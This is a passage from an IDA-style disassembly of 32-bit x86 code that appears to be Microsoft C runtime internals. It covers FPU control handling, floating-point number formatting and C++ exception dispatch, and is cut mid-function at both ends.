push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_4217E9
lea eax, [ebp+var_20]
push eax
call sub_42401D
add esp, 0Ch
test eax, eax
jnz short loc_4215DB
push esi
call sub_4215FE
pop ecx
loc_4215DB: ; CODE XREF: sub_421576+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_4215E1: ; CODE XREF: sub_421576+14j
push 0FFFFh
push [ebp+arg_20]
call sub_4217E9
push [ebp+arg_0]
call sub_4215FE
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_421576 endp
; =============== S U B R O U T I N E =======================================
sub_4215FE proc near ; CODE XREF: sub_421014+7Dp
; sub_421576+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_421619
jle short locret_421623
cmp eax, 3
jg short locret_421623
mov dword_4DB928, 22h
retn
; ---------------------------------------------------------------------------
loc_421619: ; CODE XREF: sub_4215FE+7j
mov dword_4DB928, 21h
locret_421623: ; CODE XREF: sub_4215FE+9j
; sub_4215FE+Ej
retn
sub_4215FE endp
; =============== S U B R O U T I N E =======================================
sub_421624 proc near ; CODE XREF: sub_421576+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_43CE38
loc_42162B: ; CODE XREF: sub_421624+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_421641
add eax, 8
inc ecx
cmp eax, offset dbl_43CF10
jl short loc_42162B
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_421641: ; CODE XREF: sub_421624+Dj
mov eax, off_43CE3C[ecx*8]
retn
sub_421624 endp
; =============== S U B R O U T I N E =======================================
sub_421649 proc near ; CODE XREF: sub_421014+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_421655
push 5
jmp short loc_42166B
; ---------------------------------------------------------------------------
loc_421655: ; CODE XREF: sub_421649+6j
test al, 8
jz short loc_42165D
push 1
jmp short loc_42166B
; ---------------------------------------------------------------------------
loc_42165D: ; CODE XREF: sub_421649+Ej
test al, 4
jz short loc_421665
push 2
jmp short loc_42166B
; ---------------------------------------------------------------------------
loc_421665: ; CODE XREF: sub_421649+16j
test al, 1
jz short loc_42166D
push 3
loc_42166B: ; CODE XREF: sub_421649+Aj
; sub_421649+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_42166D: ; CODE XREF: sub_421649+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_421649 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421676(double)
sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp
; sub_41C7BF:loc_41C845p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_421676 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421688(double,int)
sub_421688 proc near ; CODE XREF: sub_42170B+82p
; sub_42170B+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_421688 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4216B1 proc near ; CODE XREF: sub_41C679+31p
; sub_41C7BF+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_4216C8
cmp [ebp+arg_0], edx
jnz short loc_4216DA
push 1
jmp short loc_421704
; ---------------------------------------------------------------------------
loc_4216C8: ; CODE XREF: sub_4216B1+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_4216DA
cmp [ebp+arg_0], edx
jnz short loc_4216DA
push 2
jmp short loc_421704
; ---------------------------------------------------------------------------
loc_4216DA: ; CODE XREF: sub_4216B1+11j
; sub_4216B1+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_4216ED
push 3
jmp short loc_421704
; ---------------------------------------------------------------------------
loc_4216ED: ; CODE XREF: sub_4216B1+36j
cmp cx, 7FF0h
jnz short loc_421707
test [ebp+arg_4], 7FFFFh
jnz short loc_421702
cmp [ebp+arg_0], edx
jz short loc_421707
loc_421702: ; CODE XREF: sub_4216B1+4Aj
push 4
loc_421704: ; CODE XREF: sub_4216B1+15j
; sub_4216B1+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421707: ; CODE XREF: sub_4216B1+41j
; sub_4216B1+4Fj
xor eax, eax
pop ebp
retn
sub_4216B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_42170B(double,int)
sub_42170B proc near ; CODE XREF: sub_42135F+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_427880
push esi
fnstsw ax
sahf
jnz short loc_42172B
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_4217C1
; ---------------------------------------------------------------------------
loc_42172B: ; CODE XREF: sub_42170B+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_42179A
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_421743
cmp dword ptr [ebp+arg_0], ecx
jz short loc_42179A
loc_421743: ; CODE XREF: sub_42170B+31j
fld [ebp+arg_0]
fcomp dbl_427880
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_42175B
push 1
pop eax
jmp short loc_42175D
; ---------------------------------------------------------------------------
loc_42175B: ; CODE XREF: sub_42170B+49j
xor eax, eax
loc_42175D: ; CODE XREF: sub_42170B+4Ej
; sub_42170B+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_421776
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_421770
or dword ptr [ebp+arg_0+4], 1
loc_421770: ; CODE XREF: sub_42170B+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_42175D
; ---------------------------------------------------------------------------
loc_421776: ; CODE XREF: sub_42170B+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_421784
or byte ptr [ebp+arg_0+7], 80h
loc_421784: ; CODE XREF: sub_42170B+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421688
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_4217C1
; ---------------------------------------------------------------------------
loc_42179A: ; CODE XREF: sub_42170B+28j
; sub_42170B+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421688
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_4217C1: ; CODE XREF: sub_42170B+1Bj
; sub_42170B+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_42170B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_4217CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217DA proc near ; CODE XREF: sub_4210AC+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_4217DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217E9 proc near ; CODE XREF: sub_41C679+13p
; sub_41C679+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_4217E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42180C proc near ; CODE XREF: sub_42135F+1Dp
; sub_42135F+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_421823
fld tbyte_43CF38
fistp [ebp+arg_0]
wait
loc_421823: ; CODE XREF: sub_42180C+Bj
test cl, 8
jz short loc_421838
fstsw ax
fld tbyte_43CF38
fstp [ebp+var_8]
wait
fstsw ax
loc_421838: ; CODE XREF: sub_42180C+1Aj
test cl, 10h
jz short loc_421847
fld tbyte_43CF44
fstp [ebp+var_8]
wait
loc_421847: ; CODE XREF: sub_42180C+2Fj
test cl, 4
jz short loc_421855
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_421855: ; CODE XREF: sub_42180C+3Ej
test cl, 20h
jz short locret_421860
fldpi
fstp [ebp+var_8]
wait
locret_421860: ; CODE XREF: sub_42180C+4Cj
leave
retn
sub_42180C endp
; =============== S U B R O U T I N E =======================================
sub_421862 proc near ; CODE XREF: sub_41C748+Fp
push 30000h
push 10000h
call sub_424055
pop ecx
pop ecx
retn
sub_421862 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_427890
fstp [ebp+var_8]
fld dbl_427888
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_427718
fnstsw ax
sahf
jbe short loc_4218AE
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_4218AE: ; CODE XREF: sub_421874+33j
xor eax, eax
leave
retn
sub_421874 endp
; =============== S U B R O U T I N E =======================================
sub_4218B2 proc near ; CODE XREF: sub_41C748+5p
push offset aKernel32 ; "KERNEL32"
nop
call near ptr 2830635h
test eax, eax
jz short loc_4218D6
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
nop
call near ptr 28503A1h
test eax, eax
jz short loc_4218D6
push 0
call eax ; sub_41C748
retn
; ---------------------------------------------------------------------------
loc_4218D6: ; CODE XREF: sub_4218B2+Dj
; sub_4218B2+1Dj
jmp sub_421874
sub_4218B2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp
; DATA XREF: sub_41C760+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_41D74C
cmp eax, 65h
pop ecx
jz short loc_42191B
loc_4218EF: ; CODE XREF: sub_4218DB+3Ej
inc esi
cmp dword_43CBB4, 1
jle short loc_421908
movsx eax, byte ptr [esi]
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_421917
; ---------------------------------------------------------------------------
loc_421908: ; CODE XREF: sub_4218DB+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_43C9A8
mov al, [ecx+eax*2]
and eax, 4
loc_421917: ; CODE XREF: sub_4218DB+2Bj
test eax, eax
jnz short loc_4218EF
loc_42191B: ; CODE XREF: sub_4218DB+12j
mov cl, byte_43CBB8
mov al, [esi]
mov [esi], cl
inc esi
loc_421926: ; CODE XREF: sub_4218DB+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_421926
pop esi
retn
sub_4218DB endp
; =============== S U B R O U T I N E =======================================
sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p
; DATA XREF: sub_41C760+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_43CBB8
mov cl, [eax]
test cl, cl
jz short loc_421951
loc_421945: ; CODE XREF: sub_421935+1Aj
cmp cl, dl
jz short loc_421951
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_421945
loc_421951: ; CODE XREF: sub_421935+Ej
; sub_421935+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_421982
loc_421958: ; CODE XREF: sub_421935+34j
mov cl, [eax]
test cl, cl
jz short loc_42196B
cmp cl, 65h
jz short loc_42196B
cmp cl, 45h
jz short loc_42196B
inc eax
jmp short loc_421958
; ---------------------------------------------------------------------------
loc_42196B: ; CODE XREF: sub_421935+27j
; sub_421935+2Cj ...
mov ecx, eax
loc_42196D: ; CODE XREF: sub_421935+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_42196D
cmp [eax], dl
jnz short loc_421978
dec eax
loc_421978: ; CODE XREF: sub_421935+40j
; sub_421935+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_421978
locret_421982: ; CODE XREF: sub_421935+21j
retn
sub_421935 endp
; =============== S U B R O U T I N E =======================================
sub_421983 proc near ; DATA XREF: sub_41C760+28o
; ___:off_43CF60o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_427880
fnstsw ax
sahf
jb short loc_421998
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_421998: ; CODE XREF: sub_421983+Fj
xor eax, eax
retn
sub_421983 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42199B proc near ; CODE XREF: sub_420510+430p
; DATA XREF: sub_41C760+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_4219C4
lea eax, [ebp+var_8]
push eax
call sub_424518
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_4219C4: ; CODE XREF: sub_42199B+Cj
lea eax, [ebp+arg_8]
push eax
call sub_424545
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_42199B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4219D9 proc near ; CODE XREF: sub_421C56+17p
; sub_421CA0+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_4DB9C0, 0
push ebx
push esi
jz short loc_421A0E
mov ebx, [ebp+arg_8]
mov eax, dword_4DB9BC
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_421CF1
pop ecx
pop ecx
jmp short loc_421A46
; ---------------------------------------------------------------------------
loc_421A0E: ; CODE XREF: sub_4219D9+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_4245E9
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_424572
add esp, 14h
loc_421A46: ; CODE XREF: sub_4219D9+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_421A52
mov byte ptr [eax], 2Dh
inc eax
loc_421A52: ; CODE XREF: sub_4219D9+73j
test ebx, ebx
jle short loc_421A6A
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_43CBB8
mov eax, edi
pop edi
mov [eax], cl
loc_421A6A: ; CODE XREF: sub_4219D9+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_4DB9C0, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_41BEB0
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_421A91
mov byte ptr [ecx], 45h
loc_421A91: ; CODE XREF: sub_4219D9+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_421AD6
mov ebx, [esi+4]
dec ebx
jns short loc_421AA5
neg ebx
mov byte ptr [ecx], 2Dh
loc_421AA5: ; CODE XREF: sub_4219D9+C5j
inc ecx
cmp ebx, 64h
jl short loc_421ABC
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_421ABC: ; CODE XREF: sub_4219D9+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_421AD3
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_421AD3: ; CODE XREF: sub_4219D9+E7j
add [ecx+1], bl
loc_421AD6: ; CODE XREF: sub_4219D9+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_4219D9 endp
; =============== S U B R O U T I N E =======================================
sub_421ADD proc near ; CODE XREF: sub_421C7D+13p
; sub_421CA0+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_4DB9C0, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_421B18
mov eax, dword_4DB9C4
mov ebx, [esp+10h+arg_8]
mov esi, dword_4DB9BC
cmp eax, ebx
jnz short loc_421B48
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_421B48
; ---------------------------------------------------------------------------
loc_421B18: ; CODE XREF: sub_421ADD+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_4245E9
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_424572
add esp, 14h
loc_421B48: ; CODE XREF: sub_421ADD+22j
; sub_421ADD+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_421B56
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_421B56: ; CODE XREF: sub_421ADD+70j
mov eax, [esi+4]
test eax, eax
jg short loc_421B6D
push 1
push edi
call sub_421CF1
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_421B6F
; ---------------------------------------------------------------------------
loc_421B6D: ; CODE XREF: sub_421ADD+7Ej
add edi, eax
loc_421B6F: ; CODE XREF: sub_421ADD+8Ej
test ebx, ebx
jle short loc_421BB4
push 1
push edi
call sub_421CF1
mov al, byte_43CBB8
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_421BB4
cmp byte_4DB9C0, 0
jz short loc_421B99
neg esi
jmp short loc_421B9F
; ---------------------------------------------------------------------------
loc_421B99: ; CODE XREF: sub_421ADD+B6j
neg esi
cmp ebx, esi
jl short loc_421BA1
loc_421B9F: ; CODE XREF: sub_421ADD+BAj
mov ebx, esi
loc_421BA1: ; CODE XREF: sub_421ADD+C0j
push ebx
push edi
call sub_421CF1
push ebx
push 30h
push edi
call sub_41B590
add esp, 14h
loc_421BB4: ; CODE XREF: sub_421ADD+94j
; sub_421ADD+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_421ADD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421BBB proc near ; CODE XREF: sub_421CA0+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_4245E9
mov dword_4DB9BC, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_4DB9C4, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_424572
mov eax, dword_4DB9BC
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_4DB9C4, ecx
setl cl
mov byte_4DB9C8, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_4DB9C4, eax
jl short loc_421C41
cmp eax, ebx
jge short loc_421C41
test cl, cl
jz short loc_421C32
loc_421C28: ; CODE XREF: sub_421BBB+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_421C28
and [esi-2], al
loc_421C32: ; CODE XREF: sub_421BBB+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_421C7D
add esp, 0Ch
jmp short loc_421C51
; ---------------------------------------------------------------------------
loc_421C41: ; CODE XREF: sub_421BBB+63j
; sub_421BBB+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_421C56
add esp, 10h
loc_421C51: ; CODE XREF: sub_421BBB+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_421BBB endp
; =============== S U B R O U T I N E =======================================
sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_4DB9C0, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_4219D9
and byte_4DB9C0, 0
add esp, 10h
retn
sub_421C56 endp
; =============== S U B R O U T I N E =======================================
sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_4DB9C0, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_421ADD
and byte_4DB9C0, 0
add esp, 0Ch
retn
sub_421C7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp
; DATA XREF: sub_41C760o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_421CDB
cmp [ebp+arg_8], 45h
jz short loc_421CDB
cmp [ebp+arg_8], 66h
jnz short loc_421CC8
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421ADD
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421CC8: ; CODE XREF: sub_421CA0+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421BBB
jmp short loc_421CEC
; ---------------------------------------------------------------------------
loc_421CDB: ; CODE XREF: sub_421CA0+7j
; sub_421CA0+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4219D9
loc_421CEC: ; CODE XREF: sub_421CA0+39j
add esp, 10h
pop ebp
retn
sub_421CA0 endp
; =============== S U B R O U T I N E =======================================
sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp
; sub_421ADD+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_421D14
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_41AFE0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_41CC90
add esp, 10h
pop esi
loc_421D14: ; CODE XREF: sub_421CF1+7j
pop edi
retn
sub_421CF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421D16 proc near ; CODE XREF: ___:0041C940p
; sub_41C9A9+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_421D2C
call sub_4225B2
loc_421D2C: ; CODE XREF: sub_421D16+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_421D54
cmp dword ptr [esi+4], 0
jz short loc_421DAA
cmp [ebp+arg_14], 0
jnz short loc_421DAA
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_42205D
add esp, 10h
jmp short loc_421DAA
; ---------------------------------------------------------------------------
loc_421D54: ; CODE XREF: sub_421D16+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_421DAA
cmp dword ptr [eax], 0E06D7363h
jnz short loc_421D8E
cmp [eax+14h], edi
jbe short loc_421D8E
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_421D8E
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_421DAD
; ---------------------------------------------------------------------------
loc_421D8E: ; CODE XREF: sub_421D16+4Aj
; sub_421D16+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_421DB1
add esp, 20h
loc_421DAA: ; CODE XREF: sub_421D16+23j
; sub_421D16+29j ...
push 1
pop eax
loc_421DAD: ; CODE XREF: sub_421D16+76j
pop edi
pop esi
pop ebp
retn
sub_421D16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_421DD1
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_421DD6
loc_421DD1: ; CODE XREF: sub_421DB1+16j
call sub_4225B2
loc_421DD6: ; CODE XREF: sub_421DB1+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_421F2D
cmp dword ptr [esi+10h], 3
jnz short loc_421E4A
cmp [esi+14h], edi
jnz short loc_421E4A
cmp dword ptr [esi+1Ch], 0
jnz short loc_421E4A
mov esi, dword_4DB9CC
test esi, esi
jz loc_421F28
mov eax, dword_4DB9D0
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_424770
pop ecx
test eax, eax
pop ecx
jnz short loc_421E2C
call sub_4225B2
loc_421E2C: ; CODE XREF: sub_421DB1+74j
cmp [esi], ebx
jnz loc_421F2D
cmp dword ptr [esi+10h], 3
jnz short loc_421E4A
cmp [esi+14h], edi
jnz short loc_421E4A
cmp dword ptr [esi+1Ch], 0
jnz short loc_421E4A
call sub_4225B2
loc_421E4A: ; CODE XREF: sub_421DB1+41j
; sub_421DB1+46j ...
cmp [esi], ebx
jnz loc_421F2D
cmp dword ptr [esi+10h], 3
jnz loc_421F2D
cmp [esi+14h], edi
jnz loc_421F2D
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41CAF7
add esp, 14h
mov ebx, eax
loc_421E81: ; CODE XREF: sub_421DB1+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_421F18
cmp [ebx], edi
jg short loc_421F0D
cmp edi, [ebx+4]
jg short loc_421F0D
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_421F0A
loc_421EA6: ; CODE XREF: sub_421DB1+131j
